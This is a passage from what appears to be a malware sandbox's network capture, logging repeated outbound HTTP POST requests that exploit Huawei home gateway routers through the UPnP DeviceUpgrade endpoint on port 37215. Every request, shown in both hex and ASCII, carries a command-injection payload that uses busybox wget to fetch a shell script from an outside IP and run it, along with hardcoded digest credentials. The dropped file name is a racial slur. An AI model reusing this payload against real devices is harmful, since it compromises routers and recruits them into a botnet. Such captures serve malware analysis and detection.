78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.522054911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.641839981 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881578922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.488903046 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.447727919 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365202904 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	57624	31.136.156.242	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:43.970657110 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.522022009 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.641858101 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 